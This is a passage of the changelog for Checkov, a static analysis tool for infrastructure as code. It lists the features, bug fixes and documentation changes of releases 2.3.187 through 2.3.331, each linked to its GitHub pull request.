calculating file path - [#5357](https://github.com/bridgecrewio/checkov/pull/5357)\n\n## [2.3.331](https://github.com/bridgecrewio/checkov/compare/2.3.329...2.3.331) - 2023-07-18\n\n### Feature\n\n- **openapi:** Add CKV_OPENAPI_21 - [#5268](https://github.com/bridgecrewio/checkov/pull/5268)\n\n### Bug Fix\n\n- **secrets:** handle regex error in custom secrets gracefully - [#5355](https://github.com/bridgecrewio/checkov/pull/5355)\n\n### Documentation\n\n- **general:** update docs about installation guidelines - [#5352](https://github.com/bridgecrewio/checkov/pull/5352)\n\n## [2.3.329](https://github.com/bridgecrewio/checkov/compare/2.3.326...2.3.329) - 2023-07-17\n\n### Feature\n\n- **github:** Add ability for External checks with git branch - [#5337](https://github.com/bridgecrewio/checkov/pull/5337)\n- **sca:** add fix command and code for indirect deps - [#5347](https://github.com/bridgecrewio/checkov/pull/5347)\n\n### Bug Fix\n\n- **kubernetes:** No dups when extracting images - [#5339](https://github.com/bridgecrewio/checkov/pull/5339)\n\n## [2.3.326](https://github.com/bridgecrewio/checkov/compare/2.3.324...2.3.326) - 2023-07-16\n\n### Feature\n\n- **sca:** add fix code and command to cve report - [#5333](https://github.com/bridgecrewio/checkov/pull/5333)\n- **sca:** fix code block array structure  - [#5338](https://github.com/bridgecrewio/checkov/pull/5338)\n\n### Bug Fix\n\n- **general:** properly encode non supported chars in SARIF uri field - [#5336](https://github.com/bridgecrewio/checkov/pull/5336)\n\n### Documentation\n\n- **sca:** Add SCA skip comments to docs - [#5330](https://github.com/bridgecrewio/checkov/pull/5330)\n\n## [2.3.324](https://github.com/bridgecrewio/checkov/compare/2.3.321...2.3.324) - 2023-07-13\n\n### Bug Fix\n\n- **kustomize:** Added support for case where no parents are found for the relative fie path - [#5332](https://github.com/bridgecrewio/checkov/pull/5332)\n- **terraform:** Update CKV2_AWS_12 for the new defaults - [#5203](https://github.com/bridgecrewio/checkov/pull/5203)\n\n## [2.3.321](https://github.com/bridgecrewio/checkov/compare/2.3.320...2.3.321) - 2023-07-13\n\n### Feature\n\n- **kustomize:** Support child k8s resources inside kustomize origin annotations - [#5328](https://github.com/bridgecrewio/checkov/pull/5328)\n\n## [2.3.320](https://github.com/bridgecrewio/checkov/compare/2.3.318...2.3.320) - 2023-07-12\n\n### Bug Fix\n\n- **kustomize:** Checked for existence of caller_file_path in definitions_raw  - [#5324](https://github.com/bridgecrewio/checkov/pull/5324)\n- **openapi:** Fix ws for CKV_OPENAPI_20 - [#5317](https://github.com/bridgecrewio/checkov/pull/5317)\n- **terraform:** CKV_AWS_342 - managed rules have predefined actions - [#5322](https://github.com/bridgecrewio/checkov/pull/5322)\n\n## [2.3.318](https://github.com/bridgecrewio/checkov/compare/2.3.316...2.3.318) - 2023-07-10\n\n### Feature\n\n- **general:** support UTF-16 and other encodings in multiple frameworks - [#5308](https://github.com/bridgecrewio/checkov/pull/5308)\n- **kustomize:** add back reverted kustomize annotations and update build github action to use github runners - [#5316](https://github.com/bridgecrewio/checkov/pull/5316)\n- **kustomize:** Add origin annotations to calculate bases of kustomize checks - [#5298](https://github.com/bridgecrewio/checkov/pull/5298)\n\n## [2.3.316](https://github.com/bridgecrewio/checkov/compare/2.3.314...2.3.316) - 2023-07-09\n\n### Feature\n\n- **secrets:** Improve the entropy keyword combinator secret scanner - [#5307](https://github.com/bridgecrewio/checkov/pull/5307)\n\n### Bug Fix\n\n- **openapi:** Fix CKV_OpenAPI_20 - [#5302](https://github.com/bridgecrewio/checkov/pull/5302)\n- **terraform:** fix invalid value in CKV_AWS_304 - [#5301](https://github.com/bridgecrewio/checkov/pull/5301)\n- **terraform:** support new field in CKV2_AWS_3 - [#5304](https://github.com/bridgecrewio/checkov/pull/5304)\n\n## [2.3.314](https://github.com/bridgecrewio/checkov/compare/2.3.312...2.3.314) - 2023-07-06\n\n### Feature\n\n- **dockerfile:** add ARM build for K8s container image - [#5293](https://github.com/bridgecrewio/checkov/pull/5293)\n- **general:** Add checkov.spec to enable PyInstaller - [#5281](https://github.com/bridgecrewio/checkov/pull/5281)\n\n### Bug Fix\n\n- **terraform:** remove CKV2_AZURE_18 check and improve CKV2_AZURE_1 - [#5294](https://github.com/bridgecrewio/checkov/pull/5294)\n\n## [2.3.312](https://github.com/bridgecrewio/checkov/compare/2.3.311...2.3.312) - 2023-07-05\n\n### Platform\n\n- **general:** use sca inline suppressions - [#5285](https://github.com/bridgecrewio/checkov/pull/5285)\n\n## [2.3.311](https://github.com/bridgecrewio/checkov/compare/2.3.310...2.3.311) - 2023-07-04\n\n### Feature\n\n- **openapi:** New OpenAPI check CKV_OPENAPI_20 - [#5253](https://github.com/bridgecrewio/checkov/pull/5253)\n\n## [2.3.310](https://github.com/bridgecrewio/checkov/compare/2.3.309...2.3.310) - 2023-07-02\n\n### Bug Fix\n\n- **terraform:** remove deprecated check CKV_GCP_67 - [#5275](https://github.com/bridgecrewio/checkov/pull/5275)\n\n### Documentation\n\n- **general:** Add csv to output - [#5273](https://github.com/bridgecrewio/checkov/pull/5273)\n\n## [2.3.309](https://github.com/bridgecrewio/checkov/compare/2.3.306...2.3.309) - 2023-06-29\n\n### Feature\n\n- **graph:** add experimental debug output for graph check evaluation - [#5257](https://github.com/bridgecrewio/checkov/pull/5257)\n\n### Bug Fix\n\n- **general:** revert add composer files to supported package files - [#5269](https://github.com/bridgecrewio/checkov/pull/5269)\n\n### Platform\n\n- **general:** add composer files to supported package files - [#5263](https://github.com/bridgecrewio/checkov/pull/5263)\n\n## [2.3.306](https://github.com/bridgecrewio/checkov/compare/2.3.303...2.3.306) - 2023-06-27\n\n### Feature\n\n- **terraform:** add module check for commit hash revision usage - [#5261](https://github.com/bridgecrewio/checkov/pull/5261)\n\n### Bug Fix\n\n- **openapi:** add security definition type validation into CKV_OPENAPI_9 - [#5262](https://github.com/bridgecrewio/checkov/pull/5262)\n- **secrets:** fix secrets omit crash when value is not string - [#5260](https://github.com/bridgecrewio/checkov/pull/5260)\n- **terraform:** ignore local modules in CKV_TF_1 - [#5264](https://github.com/bridgecrewio/checkov/pull/5264)\n\n## [2.3.303](https://github.com/bridgecrewio/checkov/compare/2.3.302...2.3.303) - 2023-06-26\n\n### Bug Fix\n\n- **arm:** consider encryption property in CKV_AZURE_2 - [#5254](https://github.com/bridgecrewio/checkov/pull/5254)\n\n## [2.3.302](https://github.com/bridgecrewio/checkov/compare/2.3.301...2.3.302) - 2023-06-25\n\n### Bug Fix\n\n- **terraform:** add missing AWS RDS CA certificate identifiers for aws_db_instance resource - [#5247](https://github.com/bridgecrewio/checkov/pull/5247)\n\n## [2.3.301](https://github.com/bridgecrewio/checkov/compare/2.3.299...2.3.301) - 2023-06-22\n\n### Feature\n\n- **general:** remove log from parallel common - [#5244](https://github.com/bridgecrewio/checkov/pull/5244)\n\n### Platform\n\n- **general:** Fix local repo generated name if ends with / - [#5243](https://github.com/bridgecrewio/checkov/pull/5243)\n\n## [2.3.299](https://github.com/bridgecrewio/checkov/compare/2.3.296...2.3.299) - 2023-06-21\n\n### Feature\n\n- **terraform:** ensure kms key policy is defined - [#5235](https://github.com/bridgecrewio/checkov/pull/5235)\n\n### Bug Fix\n\n- **sca:** fix wrongly invoked Image Referencer scanning when scanning a single file - [#5237](https://github.com/bridgecrewio/checkov/pull/5237)\n- **terraform_plan:** add terraform plan vertices to terraform graph if not exist - [#5230](https://github.com/bridgecrewio/checkov/pull/5230)\n\n## [2.3.296](https://github.com/bridgecrewio/checkov/compare/2.3.294...2.3.296) - 2023-06-19\n\n### Bug Fix\n\n- **dockerfile:** negative `is_dockerfile()` lookup on `.dockerignore` suffix - [#5219](https://github.com/bridgecrewio/checkov/pull/5219)\n- **terraform:** fix empty value issue for CKV_GIT_4 - [#5222](https://github.com/bridgecrewio/checkov/pull/5222)\n\n### Documentation\n\n- **graph:** add jsonpath custom policy example - [#5221](https://github.com/bridgecrewio/checkov/pull/5221)\n\n## [2.3.294](https://github.com/bridgecrewio/checkov/compare/2.3.292...2.3.294) - 2023-06-15\n\n### Feature\n\n- **gha:** add skip_path flag to GHA and allow multiple values in var_file - [#5213](https://github.com/bridgecrewio/checkov/pull/5213)\n- **sca:** add root package name and version to csv sbom - [#5211](https://github.com/bridgecrewio/checkov/pull/5211)\n\n## [2.3.292](https://github.com/bridgecrewio/checkov/compare/2.3.289...2.3.292) - 2023-06-14\n\n### Feature\n\n- **arm:** Handle another structure for SQL retention policy - [#5210](https://github.com/bridgecrewio/checkov/pull/5210)\n\n### Bug Fix\n\n- **secrets:** limit line length for custom secrets - [#5208](https://github.com/bridgecrewio/checkov/pull/5208)\n- **terraform:** Update GCP checks for plan files - [#5197](https://github.com/bridgecrewio/checkov/pull/5197)\n\n## [2.3.289](https://github.com/bridgecrewio/checkov/compare/2.3.287...2.3.289) - 2023-06-13\n\n### Feature\n\n- **sca:** removing the using of the constant CHECKOV_DISPLAY_REGISTRY_URL - [#5204](https://github.com/bridgecrewio/checkov/pull/5204)\n\n## [2.3.287](https://github.com/bridgecrewio/checkov/compare/2.3.285...2.3.287) - 2023-06-11\n\n### Feature\n\n- **general:** add checkov_diff pre-commit hook for scanning all changed files - [#5192](https://github.com/bridgecrewio/checkov/pull/5192)\n\n### Bug Fix\n\n- **cloudformation:** fix CKV_AWS_33 to consider deny statements - [#5193](https://github.com/bridgecrewio/checkov/pull/5193)\n\n### Documentation\n\n- **general:** Update pre-commit.md - [#5190](https://github.com/bridgecrewio/checkov/pull/5190)\n\n## [2.3.285](https://github.com/bridgecrewio/checkov/compare/2.3.283...2.3.285) - 2023-06-08\n\n### Feature\n\n- **arm:** and bicep: Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes CKV_AZURE_123 - [#5049](https://github.com/bridgecrewio/checkov/pull/5049)\n\n### Bug Fix\n\n- **general:** handle cloned checks filtered via labels - [#5188](https://github.com/bridgecrewio/checkov/pull/5188)\n- **terraform:** adjust CKV_AZURE_6 to comply with new provider version - [#5189](https://github.com/bridgecrewio/checkov/pull/5189)\n\n## [2.3.283](https://github.com/bridgecrewio/checkov/compare/2.3.281...2.3.283) - 2023-06-07\n\n### Feature\n\n- **arm:** Handle arm db servers 2021 05 01 - [#5187](https://github.com/bridgecrewio/checkov/pull/5187)\n- **terraform:** Mark unresolved tf function calls as unresolved - [#5186](https://github.com/bridgecrewio/checkov/pull/5186)\n\n### Documentation\n\n- **general:** Add Enforcement CLI Command - [#5185](https://github.com/bridgecrewio/checkov/pull/5185)\n\n## [2.3.281](https://github.com/bridgecrewio/checkov/compare/2.3.278...2.3.281) - 2023-06-06\n\n### Feature\n\n- **terraform_plan:** Expose field changes to python checks - [#5112](https://github.com/bridgecrewio/checkov/pull/5112)\n\n### Bug Fix\n\n- **general:** Check that the result is not None before extracting vars in cli multiprocess runs - [#5183](https://github.com/bridgecrewio/checkov/pull/5183)\n- **general:** Correctly handle cli graphs in case we run with multiprocessing - [#5177](https://github.com/bridgecrewio/checkov/pull/5177)\n\n## [2.3.278](https://github.com/bridgecrewio/checkov/compare/2.3.276...2.3.278) - 2023-06-05\n\n### Bug Fix\n\n- **kubernetes:** dont' fail if spec is missing and default value is set to the fix value. - [#5167](https://github.com/bridgecrewio/checkov/pull/5167)\n\n## [2.3.276](https://github.com/bridgecrewio/checkov/compare/2.3.273...2.3.276) - 2023-06-04\n\n### Feature\n\n- **arm:** ARM and bicep checks for CKV_AZURE_121 - [#5029](https://github.com/bridgecrewio/checkov/pull/5029)\n- **terraform:** Ensure Application Gateway defines secure SSL protocols CKV_AZURE_217, 218 - [#5027](https://github.com/bridgecrewio/checkov/pull/5027)\n- **terraform:** Ensure Azure firewall sets threatintelMode to Deny - [#5013](https://github.com/bridgecrewio/checkov/pull/5013)\n- **terraform:** Ensure firewall defines a policy - [#5038](https://github.com/bridgecrewio/checkov/pull/5038)\n- **terraform:** Ensure Firewall policy has IDPS mode as deny - [#5039](https://github.com/bridgecrewio/checkov/pull/5039)\n\n### Bug Fix\n\n- **dockerfile:** support platform flag in CKV_DOCKER_11 - [#5170](https://github.com/bridgecrewio/checkov/pull/5170)\n- **terraform:** support condition in IAM policy data blocks - [#5171](https://github.com/bridgecrewio/checkov/pull/5171)\n- **terraform:** Unable to download Terraform modules from JFrog Artifactory - [#5155](https://github.com/bridgecrewio/checkov/pull/5155)\n\n## [2.3.273](https://github.com/bridgecrewio/checkov/compare/2.3.267...2.3.273) - 2023-06-01\n\n### Feature\n\n- **ansible:** add support of inline suppression for Ansible graph checks - [#5143](https://github.com/bridgecrewio/checkov/pull/5143)\n- **terraform:** Use just AWS regex to check EC2Credentials - [#5159](https://github.com/bridgecrewio/checkov/pull/5159)\n\n### Bug Fix\n\n- **cloudformation:** fix evaluate_default_refs func in cfn - [#5164](https://github.com/bridgecrewio/checkov/pull/5164)\n- **general:** fix SARIF output related to security-severity field - [#5160](https://github.com/bridgecrewio/checkov/pull/5160)\n- **terraform:** adjust CKV_AWS_85 to only look for one log type to pass - [#5162](https://github.com/bridgecrewio/checkov/pull/5162)\n- **terraform:** update latest major version of Postgres to v15 - [#5163](https://github.com/bridgecrewio/checkov/pull/5163)\n\n### Platform\n\n- **general:** Add no upload flag and report contributors for all API key runs - [#5052](https://github.com/bridgecrewio/checkov/pull/5052)\n\n## [2.3.267](https://github.com/bridgecrewio/checkov/compare/2.3.264...2.3.267) - 2023-05-31\n\n### Bug Fix\n\n- **kubernetes:** fix extracting k8s nested resources - [#5146](https://github.com/bridgecrewio/checkov/pull/5146)\n- **sca:** suppression - fix unit testing - [#5158](https://github.com/bridgecrewio/checkov/pull/5158)\n- **sca:** suppression is not working on SCA packages - [#5156](https://github.com/bridgecrewio/checkov/pull/5156)\n\n## [2.3.264](https://github.com/bridgecrewio/checkov/compare/2.3.261...2.3.264) - 2023-05-30\n\n### Feature\n\n- **terraform:** don't fail CKV_AWS_2 on un-rendered value - [#5147](https://github.com/bridgecrewio/checkov/pull/5147)\n- **terraform:** Foreach support resources edges - [#5145](https://github.com/bridgecrewio/checkov/pull/5145)\n\n### Bug Fix\n\n- **terraform:** exclude unrestrictable actions in CKV_AWS_355 and CKV_AWS_356 - [#5135](https://github.com/bridgecrewio/checkov/pull/5135)\n\n### Documentation\n\n- **general:** Update operators with examples - [#5137](https://github.com/bridgecrewio/checkov/pull/5137)\n\n## [2.3.261](https://github.com/bridgecrewio/checkov/compare/2.3.259...2.3.261) - 2023-05-28\n\n### Feature\n\n- **general:** Added computation of git_root_path to igraph serialization - [#5107](https://github.com/bridgecrewio/checkov/pull/5107)\n- **sca:** adding validation for the file_line_number - [#5132](https://github.com/bridgecrewio/checkov/pull/5132)\n- **terraform:** foreach remove error from info log. - [#5139](https://github.com/bridgecrewio/checkov/pull/5139)\n\n### Bug Fix\n\n- **terraform:** Should use UNKNOWN rather than skipped - [#5136](https://github.com/bridgecrewio/checkov/pull/5136)\n\n## [2.3.259](https://github.com/bridgecrewio/checkov/compare/2.3.257...2.3.259) - 2023-05-24\n\n### Feature\n\n- **terraform:** extend CKV2_AWS_5 with new resources - [#5129](https://github.com/bridgecrewio/checkov/pull/5129)\n- **terraform:** IAM limit resource access - [#5015](https://github.com/bridgecrewio/checkov/pull/5015)\n\n### Bug Fix\n\n- **kustomize:** fix empty kustomize file crash - [#5131](https://github.com/bridgecrewio/checkov/pull/5131)\n\n### Platform\n\n- **general:** SBOM lines numbers adjusting  - [#5127](https://github.com/bridgecrewio/checkov/pull/5127)\n\n## [2.3.257](https://github.com/bridgecrewio/checkov/compare/2.3.251...2.3.257) - 2023-05-23\n\n### Feature\n\n- **sca:** adding the risk factor v2 to the vulnerability details - [#5108](https://github.com/bridgecrewio/checkov/pull/5108)\n- **sca:** dockerfile image-referencer fixes - [#5120](https://github.com/bridgecrewio/checkov/pull/5120)\n- **secrets:** Add new pre-commit hook for secrets - [#5103](https://github.com/bridgecrewio/checkov/pull/5103)\n- **terraform:** add check to look at star resources - [#4996](https://github.com/bridgecrewio/checkov/pull/4996)\n\n### Bug Fix\n\n- **gitlab:** Skipping image blocks without name attribute - [#5126](https://github.com/bridgecrewio/checkov/pull/5126)\n- **terraform:** fix terraform variable rendering for provider alias - [#5124](https://github.com/bridgecrewio/checkov/pull/5124)\n\n### Platform\n\n- **general:** Enhancing Sarif output with Security Severity Level - [#5074](https://github.com/bridgecrewio/checkov/pull/5074)\n\n## [2.3.251](https://github.com/bridgecrewio/checkov/compare/2.3.247...2.3.251) - 2023-05-21\n\n### Feature\n\n- **secrets:** add jwt detector to the secret runner - [#5116](https://github.com/bridgecrewio/checkov/pull/5116)\n- **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#5089](https://github.com/bridgecrewio/checkov/pull/5089)\n- **terraform:** AWS Ensure RDS performance insights uses a CMK - [#4985](https://github.com/bridgecrewio/checkov/pull/4985)\n- **terraform:** NACL should restrict port ingress - [#4976](https://github.com/bridgecrewio/checkov/pull/4976)\n- **terraform:** RDS Enable Performance insights - [#4983](https://github.com/bridgecrewio/checkov/pull/4983)\n\n### Bug Fix\n\n- **dockerfile:** improve update searching in CKV_DOCKER_5 - [#5115](https://github.com/bridgecrewio/checkov/pull/5115)\n\n### Documentation\n\n- **general:** Update CLI Command Reference.md - [#5114](https://github.com/bridgecrewio/checkov/pull/5114)\n\n## [2.3.247](https://github.com/bridgecrewio/checkov/compare/2.3.245...2.3.247) - 2023-05-18\n\n### Feature\n\n- **general:** add SPDX output - [#5104](https://github.com/bridgecrewio/checkov/pull/5104)\n- **kubernetes:** seperate service acoount builder to improve performance - [#5093](https://github.com/bridgecrewio/checkov/pull/5093)\n- **sca:** showing line numbers in the cli output for csv - [#5096](https://github.com/bridgecrewio/checkov/pull/5096)\n- **sca:** showing line numbers in the cli output for licenses - [#5098](https://github.com/bridgecrewio/checkov/pull/5098)\n\n## [2.3.245](https://github.com/bridgecrewio/checkov/compare/2.3.243...2.3.245) - 2023-05-16\n\n### Feature\n\n- **dockerfile:** Support docker graph check skips - [#5085](https://github.com/bridgecrewio/checkov/pull/5085)\n- **sca:** using the lines in the directly in the record, rather than in the \"vulnerability_details\" + having it in ExtraResources - [#5092](https://github.com/bridgecrewio/checkov/pull/5092)\n\n## [2.3.243](https://github.com/bridgecrewio/checkov/compare/2.3.240...2.3.243) - 2023-05-15\n\n### Feature\n\n- **kubernetes:** Improve k8s perf - [#5083](https://github.com/bridgecrewio/checkov/pull/5083)\n- **terraform:** EMR -  At rest local disk, EBS and in transit encryption checks - [#4968](https://github.com/bridgecrewio/checkov/pull/4968)\n\n### Bug Fix\n\n- **kubernetes:** add mini k8s parser for invalid templates - [#5088](https://github.com/bridgecrewio/checkov/pull/5088)\n- **terraform:** handle false-positives for Route53ZoneEnableDNSSECSigning - [#5084](https://github.com/bridgecrewio/checkov/pull/5084)\n\n### Platform\n\n- **general:** Add lines to SBOM  - [#5078](https://github.com/bridgecrewio/checkov/pull/5078)\n- **graph:** upload graphs to the platform - [#5073](https://github.com/bridgecrewio/checkov/pull/5073)\n\n## [2.3.240](https://github.com/bridgecrewio/checkov/compare/2.3.239...2.3.240) - 2023-05-14\n\n### Bug Fix\n\n- **terraform:** skip invalid multiple modules names - [#5079](https://github.com/bridgecrewio/checkov/pull/5079)\n\n## [2.3.239](https://github.com/bridgecrewio/checkov/compare/2.3.238...2.3.239) - 2023-05-12\n\n### Bug Fix\n\n- **sca:** only run image referencer with sca_image framework - [#5081](https://github.com/bridgecrewio/checkov/pull/5081)\n\n## [2.3.238](https://github.com/bridgecrewio/checkov/compare/2.3.237...2.3.238) - 2023-05-11\n\n### Feature\n\n- **kustomize:** Support inline skips for Kubernetes graph checks - [#5070](https://github.com/bridgecrewio/checkov/pull/5070)\n\n## [2.3.237](https://github.com/bridgecrewio/checkov/compare/2.3.234...2.3.237) - 2023-05-10\n\n### Bug Fix\n\n- **secrets:** add filter for suppressed custom secret checks - [#5068](https://github.com/bridgecrewio/checkov/pull/5068)\n- **secrets:** exclude Kubernetes secretName from secret scanning - [#5071](https://github.com/bridgecrewio/checkov/pull/5071)\n- **secrets:** omit the code line - [#5075](https://github.com/bridgecrewio/checkov/pull/5075)\n\n## [2.3.234](https://github.com/bridgecrewio/checkov/compare/2.3.231...2.3.234) - 2023-05-09\n\n### Feature\n\n- **terraform:** Added caller_file_path and caller_file_line_range to reduced report - [#5062](https://github.com/bridgecrewio/checkov/pull/5062)\n- **terraform:** AWS IAM don't generate root credentials 348 - [#4966](https://github.com/bridgecrewio/checkov/pull/4966)\n- **terraform:** Ensure Neptune cluster is encrypted with a CMK CKV_AWS_347 - [#4965](https://github.com/bridgecrewio/checkov/pull/4965)\n\n### Bug Fix\n\n- **terraform:** fix SQS encryption check CKV_AWS_27 - [#5065](https://github.com/bridgecrewio/checkov/pull/5065)\n\n### Documentation\n\n- **general:** Fix some links - [#5064](https://github.com/bridgecrewio/checkov/pull/5064)\n- **general:** update Python custom checks docs - [#5054](https://github.com/bridgecrewio/checkov/pull/5054)\n\n## [2.3.231](https://github.com/bridgecrewio/checkov/compare/2.3.227...2.3.231) - 2023-05-08\n\n### Feature\n\n- **terraform:** aws ensure delete protection for firewalls 344 - [#4870](https://github.com/bridgecrewio/checkov/pull/4870)\n- **terraform:** check that WAF rules have an action 342 - [#4806](https://github.com/bridgecrewio/checkov/pull/4806)\n- **terraform:** Ensure encryption for firewall uses a CMK CKV_AWS_345 - [#4871](https://github.com/bridgecrewio/checkov/pull/4871)\n- **terraform:** Ensure Network firewall policy defines a encryption configuration that uses a CMK - CKV_AWS_346 - [#4877](https://github.com/bridgecrewio/checkov/pull/4877)\n\n### Bug Fix\n\n- **kubernetes:** Update ckv_k8s_31 - [#4991](https://github.com/bridgecrewio/checkov/pull/4991)\n\n## [2.3.227](https://github.com/bridgecrewio/checkov/compare/2.3.224...2.3.227) - 2023-05-07\n\n### Feature\n\n- **general:** include missing files in save repository - [#5056](https://github.com/bridgecrewio/checkov/pull/5056)\n- **terraform:** launch config/template Ensure metadata hop =1 341 - [#4817](https://github.com/bridgecrewio/checkov/pull/4817)\n- **terraform:** Update CKV_AZURE_43 StorageAccountName.py VARIABLE_REFS - [#5045](https://github.com/bridgecrewio/checkov/pull/5045)\n\n### Bug Fix\n\n- **arm:** enabled is not true - [#5051](https://github.com/bridgecrewio/checkov/pull/5051)\n- **cloudformation:** Enable ALB to support tls1.3 policies #4962 - [#5035](https://github.com/bridgecrewio/checkov/pull/5035)\n- **secrets:** add handling of unicode error - [#5055](https://github.com/bridgecrewio/checkov/pull/5055)\n\n## [2.3.224](https://github.com/bridgecrewio/checkov/compare/2.3.223...2.3.224) - 2023-05-05\n\n### Platform\n\n- **general:** Catch None responses from BE - [#5033](https://github.com/bridgecrewio/checkov/pull/5033)\n\n## [2.3.223](https://github.com/bridgecrewio/checkov/compare/2.3.220...2.3.223) - 2023-05-04\n\n### Feature\n\n- **terraform:** Elastic beanstalk uses managed updates and fixes the EB check while i… 340 - [#4816](https://github.com/bridgecrewio/checkov/pull/4816)\n\n### Bug Fix\n\n- **secrets:** don't scan images in git history - [#5040](https://github.com/bridgecrewio/checkov/pull/5040)\n- **terraform:** fix foreach render value for lookup - [#5037](https://github.com/bridgecrewio/checkov/pull/5037)\n- **terraform:** Handle entity context for for_each resources - [#5036](https://github.com/bridgecrewio/checkov/pull/5036)\n\n## [2.3.220](https://github.com/bridgecrewio/checkov/compare/2.3.214...2.3.220) - 2023-05-03\n\n### Feature\n\n- **secrets:** open the feature - scan git history - [#5022](https://github.com/bridgecrewio/checkov/pull/5022)\n- **terraform:** Set TF Modules for_each env var to true - [#5021](https://github.com/bridgecrewio/checkov/pull/5021)\n- **terraform:** Set TF modules for_each env vars as True - [#4794](https://github.com/bridgecrewio/checkov/pull/4794)\n\n### Bug Fix\n\n- **secrets:** add filter for suppressed custom secret checks - [#5016](https://github.com/bridgecrewio/checkov/pull/5016)\n- **terraform:** improve attribute performance - [#5014](https://github.com/bridgecrewio/checkov/pull/5014)\n- **terraform:** Update CKV_AWS_338 message and retention check for 0 - [#5018](https://github.com/bridgecrewio/checkov/pull/5018)\n- **terraform:** Update CKV2_AZURE_33 to remove checks on unrelated conditions - [#5020](https://github.com/bridgecrewio/checkov/pull/5020)\n\n## [2.3.214](https://github.com/bridgecrewio/checkov/compare/2.3.212...2.3.214) - 2023-05-02\n\n### Bug Fix\n\n- **secrets:** Adding quote to required secret in case needed - [#5008](https://github.com/bridgecrewio/checkov/pull/5008)\n- **secrets:** change color of invalid secret message - [#5007](https://github.com/bridgecrewio/checkov/pull/5007)\n\n### Platform\n\n- **general:** upload checks code_block to report - [#5001](https://github.com/bridgecrewio/checkov/pull/5001)\n\n## [2.3.212](https://github.com/bridgecrewio/checkov/compare/2.3.205...2.3.212) - 2023-04-30\n\n### Feature\n\n- **kubernetes:** support suppressing custom K8s policies - [#4990](https://github.com/bridgecrewio/checkov/pull/4990)\n- **terraform:** AWS EKS Use only platform supported versions 339 - [#4810](https://github.com/bridgecrewio/checkov/pull/4810)\n- **terraform:** Azure APIm backend uses only HTTPS - [#4811](https://github.com/bridgecrewio/checkov/pull/4811)\n- **terraform:** Ensure Cloudwatch retention is a year or more 338 - [#4799](https://github.com/bridgecrewio/checkov/pull/4799)\n- **terraform:** remove redundant foreach deepcopy - [#4982](https://github.com/bridgecrewio/checkov/pull/4982)\n\n### Bug Fix\n\n- **secrets:** fix missing history results when history store is used - [#4992](https://github.com/bridgecrewio/checkov/pull/4992)\n- **terraform:** secret- also check user data in launch config and template - [#4969](https://github.com/bridgecrewio/checkov/pull/4969)\n\n## [2.3.205](https://github.com/bridgecrewio/checkov/compare/2.3.204...2.3.205) - 2023-04-28\n\n### Bug Fix\n\n- **gitlab:** fix resource id parsing recursive - [#4987](https://github.com/bridgecrewio/checkov/pull/4987)\n\n### Documentation\n\n- **terraform:** fix docs formatting - [#4988](https://github.com/bridgecrewio/checkov/pull/4988)\n\n## [2.3.204](https://github.com/bridgecrewio/checkov/compare/2.3.199...2.3.204) - 2023-04-27\n\n### Feature\n\n- **terraform:** add support for private terraform registries - [#4964](https://github.com/bridgecrewio/checkov/pull/4964)\n- **terraform:** remove cross varaibles bad list comprehension - [#4948](https://github.com/bridgecrewio/checkov/pull/4948)\n\n### Bug Fix\n\n- **general:** log all returned enforcement rules for debugging - [#4989](https://github.com/bridgecrewio/checkov/pull/4989)\n- **general:** remove invalid URLs in GitLab SAST output - [#4960](https://github.com/bridgecrewio/checkov/pull/4960)\n- **secrets:** change default value of secret values to empty strings - [#4973](https://github.com/bridgecrewio/checkov/pull/4973)\n- **terraform:** Added a condition to not override source module object for old parser - [#4975](https://github.com/bridgecrewio/checkov/pull/4975)\n\n## [2.3.199](https://github.com/bridgecrewio/checkov/compare/2.3.194...2.3.199) - 2023-04-24\n\n### Feature\n\n- **terraform:** Ensure container defines a readonly root drive 336  - [#4788](https://github.com/bridgecrewio/checkov/pull/4788)\n- **terraform:** ensure pidmode is not set to host 335  - [#4786](https://github.com/bridgecrewio/checkov/pull/4786)\n- **terraform:** Ensure SSM params are encrypted using a CMK 337  - [#4789](https://github.com/bridgecrewio/checkov/pull/4789)\n- **terraform:** Network firewall must define a logging configuration CKV2_AWS_63 - [#4872](https://github.com/bridgecrewio/checkov/pull/4872)\n- **terraform:** Reduce module loading in TF Parser - [#4959](https://github.com/bridgecrewio/checkov/pull/4959)\n\n### Bug Fix\n\n- **kustomize:** fix image_referencer paths - [#4898](https://github.com/bridgecrewio/checkov/pull/4898)\n- **terraform:** support TF provider v3 for lifecycle existence check - [#4952](https://github.com/bridgecrewio/checkov/pull/4952)\n\n### Documentation\n\n- **terraform_plan:** Add Deep Analysis to docs - [#4950](https://github.com/bridgecrewio/checkov/pull/4950)\n\n## [2.3.194](https://github.com/bridgecrewio/checkov/compare/2.3.192...2.3.194) - 2023-04-23\n\n### Feature\n\n- **general:** deserialize report & record from json  - [#4947](https://github.com/bridgecrewio/checkov/pull/4947)\n- **sca:** fix extract fix version in sbom report - [#4936](https://github.com/bridgecrewio/checkov/pull/4936)\n- **terraform:** cross variable performance improvement - [#4946](https://github.com/bridgecrewio/checkov/pull/4946)\n\n### Bug Fix\n\n- **github:** make GH Actions delimiter unique in multiline env vars - [#4938](https://github.com/bridgecrewio/checkov/pull/4938)\n\n## [2.3.192](https://github.com/bridgecrewio/checkov/compare/2.3.187...2.3.192) - 2023-04-20\n\n### Feature\n\n- **general:** add policy-metadata-filter to gh action - [#4941](https://github.com/bridgecrewio/checkov/pull/4941)\n- **secrets:** support first commit results - [#4927](https://github.com/bridgecrewio/checkov/pull/4927)\n- **terraform:** Used generator instead of list comprehension to improve performance for large graphs - [#4939](https://github.com/bridgecrewio/checkov/pull/4939)\n\n### Bug Fix\n\n- **terraform:** make the ECS cluster logging check more resilient - [#4942](https://github.com/bridgecrewio/checkov/pull/4942)\n- **terraform:** remove invalid Terraform module reference support - [#4931](https://github.com/bridgecrewio/checkov/pull/4931)\n- **terraform:** support null values in list of dicts - [#4937](https://github.com/bridgecrewio/checkov/pull/4937)\n\n### Documentation\n\n- **bitbucket:** Update Bitbucket documentation to match the code. - [#4934](https://github.com/bridgecrewio/checkov/pull/4934)\n- **sca:** Add more ways to skip CVEs - [#4928](https://github.com/bridgecrewio/checkov/pull/4928)\n\n## [2.3.187](https://github.com/bridgecrewio/checkov/compare/2.3.183...2.3.187) - 2023-04-19\n\n### Feature\n\n- **general:** 3D policies syntax refactor - [#4865](https://github.com/bridgecrewio/checkov/pull/4865)\n- **secrets:** support scanning of secrets in hidden paths - [#4925](https://github.com/bridgecrewio/checkov/pull/4925)\n\n### Bug Fix\n\n- **secrets:** Revert timeout in unix to work with signals - [#4932](https://github.com/bridgecrewio/checkov/pull/4932)\n- **secrets:** timeout in 